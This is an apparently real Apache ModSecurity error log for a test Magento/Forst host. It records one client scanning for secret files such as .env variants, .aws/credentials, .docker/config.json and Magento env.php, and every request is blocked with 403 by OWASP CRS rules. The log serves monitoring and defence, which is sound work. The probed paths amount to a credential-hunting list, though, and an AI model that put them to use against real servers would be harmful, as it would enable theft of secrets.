[Mon Jan 12 12:31:57.931189 2026] [:error] [pid 1362233] [client 35.180.31.174:35610] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.1"] [unique_id "aWTbrX2DuVtAKraH1YONfgAAAAk"]
[Mon Jan 12 12:31:58.011413 2026] [:error] [pid 1365295] [client 35.180.31.174:35634] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev.local"] [unique_id "aWTbrg7npFhQv7HWuOaddgAAAAo"]
[Mon Jan 12 12:31:58.011711 2026] [:error] [pid 1365295] [client 35.180.31.174:35634] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev.local"] [unique_id "aWTbrg7npFhQv7HWuOaddgAAAAo"]
[Mon Jan 12 12:31:58.011932 2026] [:error] [pid 1365295] [client 35.180.31.174:35634] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev.local"] [unique_id "aWTbrg7npFhQv7HWuOaddgAAAAo"]
[Mon Jan 12 12:31:58.173061 2026] [:error] [pid 1355924] [client 35.180.31.174:35676] [client 35.180.31.174] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aWTbrtIpinFXoPzDav5wbAAAAAE"]
[Mon Jan 12 12:31:58.173261 2026] [:error] [pid 1355924] [client 35.180.31.174:35676] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aWTbrtIpinFXoPzDav5wbAAAAAE"]
[Mon Jan 12 12:31:58.173412 2026] [:error] [pid 1355924] [client 35.180.31.174:35676] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aWTbrtIpinFXoPzDav5wbAAAAAE"]
[Mon Jan 12 12:31:58.252432 2026] [authz_core:error] [pid 1365300] [client 35.180.31.174:35698] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/etc/local.xml
[Mon Jan 12 12:31:58.410625 2026] [:error] [pid 1362231] [client 35.180.31.174:35744] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.remote"] [unique_id "aWTbrsuCkgRo958sQERiHQAAAAc"]
[Mon Jan 12 12:31:58.410827 2026] [:error] [pid 1362231] [client 35.180.31.174:35744] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.remote"] [unique_id "aWTbrsuCkgRo958sQERiHQAAAAc"]
[Mon Jan 12 12:31:58.410975 2026] [:error] [pid 1362231] [client 35.180.31.174:35744] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.remote"] [unique_id "aWTbrsuCkgRo958sQERiHQAAAAc"]
[Mon Jan 12 12:31:58.490042 2026] [:error] [pid 1356126] [client 35.180.31.174:35772] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aWTbrjv8xyMiuvwfNnlj1wAAAAU"]
[Mon Jan 12 12:31:58.490240 2026] [:error] [pid 1356126] [client 35.180.31.174:35772] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aWTbrjv8xyMiuvwfNnlj1wAAAAU"]
[Mon Jan 12 12:31:58.490433 2026] [:error] [pid 1356126] [client 35.180.31.174:35772] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aWTbrjv8xyMiuvwfNnlj1wAAAAU"]
[Mon Jan 12 12:31:58.568772 2026] [:error] [pid 1355923] [client 35.180.31.174:35798] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/error.log"] [unique_id "aWTbriE1xEBhFyXickXriwAAAAA"]
[Mon Jan 12 12:31:58.569082 2026] [:error] [pid 1355923] [client 35.180.31.174:35798] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/error.log"] [unique_id "aWTbriE1xEBhFyXickXriwAAAAA"]
[Mon Jan 12 12:31:58.569228 2026] [:error] [pid 1355923] [client 35.180.31.174:35798] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/error.log"] [unique_id "aWTbriE1xEBhFyXickXriwAAAAA"]
[Mon Jan 12 12:31:58.651632 2026] [:error] [pid 1355926] [client 35.180.31.174:35826] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_error.log"] [unique_id "aWTbrsC2y5bYy1r2HoPzIgAAAAM"]
[Mon Jan 12 12:31:58.651950 2026] [:error] [pid 1355926] [client 35.180.31.174:35826] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_error.log"] [unique_id "aWTbrsC2y5bYy1r2HoPzIgAAAAM"]
[Mon Jan 12 12:31:58.652114 2026] [:error] [pid 1355926] [client 35.180.31.174:35826] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_error.log"] [unique_id "aWTbrsC2y5bYy1r2HoPzIgAAAAM"]
[Mon Jan 12 12:31:59.139654 2026] [authz_core:error] [pid 1358564] [client 35.180.31.174:35946] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/log/nginx
[Mon Jan 12 12:31:59.220557 2026] [authz_core:error] [pid 1362231] [client 35.180.31.174:35960] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/log/apache2
[Mon Jan 12 12:31:59.299321 2026] [authz_core:error] [pid 1356126] [client 35.180.31.174:35988] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/etc/env.php
[Mon Jan 12 12:31:59.378071 2026] [:error] [pid 1355923] [client 35.180.31.174:36004] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/application.log"] [unique_id "aWTbryE1xEBhFyXickXrjAAAAAA"]
[Mon Jan 12 12:31:59.378449 2026] [:error] [pid 1355923] [client 35.180.31.174:36004] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/application.log"] [unique_id "aWTbryE1xEBhFyXickXrjAAAAAA"]
[Mon Jan 12 12:31:59.378605 2026] [:error] [pid 1355923] [client 35.180.31.174:36004] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/application.log"] [unique_id "aWTbryE1xEBhFyXickXrjAAAAAA"]
[Mon Jan 12 12:31:59.457984 2026] [authz_core:error] [pid 1355926] [client 35.180.31.174:36024] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/logs
[Mon Jan 12 12:31:59.538671 2026] [authz_core:error] [pid 1362233] [client 35.180.31.174:36046] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/logs
[Mon Jan 12 12:32:00.258265 2026] [:error] [pid 1355926] [client 35.180.31.174:36234] [client 35.180.31.174] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "aWTbsMC2y5bYy1r2HoPzJAAAAAM"]
[Mon Jan 12 12:32:00.258501 2026] [:error] [pid 1355926] [client 35.180.31.174:36234] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "aWTbsMC2y5bYy1r2HoPzJAAAAAM"]
[Mon Jan 12 12:32:00.258667 2026] [:error] [pid 1355926] [client 35.180.31.174:36234] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "aWTbsMC2y5bYy1r2HoPzJAAAAAM"]
[Mon Jan 12 12:32:00.655774 2026] [:error] [pid 1365300] [client 35.180.31.174:36364] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/errors.log"] [unique_id "aWTbsNlKlmIJBGbQbR78YAAAAAs"]
[Mon Jan 12 12:32:00.656095 2026] [:error] [pid 1365300] [client 35.180.31.174:36364] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/errors.log"] [unique_id "aWTbsNlKlmIJBGbQbR78YAAAAAs"]
[Mon Jan 12 12:32:00.656250 2026] [:error] [pid 1365300] [client 35.180.31.174:36364] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/errors.log"] [unique_id "aWTbsNlKlmIJBGbQbR78YAAAAAs"]
[Mon Jan 12 12:32:00.734524 2026] [:error] [pid 1358564] [client 35.180.31.174:36392] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Thumbs.db"] [unique_id "aWTbsB_UgGRJ4jDk47tQdQAAAAY"]
[Mon Jan 12 12:32:00.734843 2026] [:error] [pid 1358564] [client 35.180.31.174:36392] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Thumbs.db"] [unique_id "aWTbsB_UgGRJ4jDk47tQdQAAAAY"]
[Mon Jan 12 12:32:00.735009 2026] [:error] [pid 1358564] [client 35.180.31.174:36392] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Thumbs.db"] [unique_id "aWTbsB_UgGRJ4jDk47tQdQAAAAY"]
[Mon Jan 12 12:32:01.134136 2026] [:error] [pid 1362233] [client 35.180.31.174:36478] [client 35.180.31.174] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/config.json"] [unique_id "aWTbsX2DuVtAKraH1YONggAAAAk"]
[Mon Jan 12 12:32:01.134334 2026] [:error] [pid 1362233] [client 35.180.31.174:36478] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/config.json"] [unique_id "aWTbsX2DuVtAKraH1YONggAAAAk"]
[Mon Jan 12 12:32:01.134503 2026] [:error] [pid 1362233] [client 35.180.31.174:36478] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/config.json"] [unique_id "aWTbsX2DuVtAKraH1YONggAAAAk"]
[Mon Jan 12 12:32:02.020087 2026] [:error] [pid 1365295] [client 35.180.31.174:36678] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.2"] [unique_id "aWTbsg7npFhQv7HWuOadewAAAAo"]
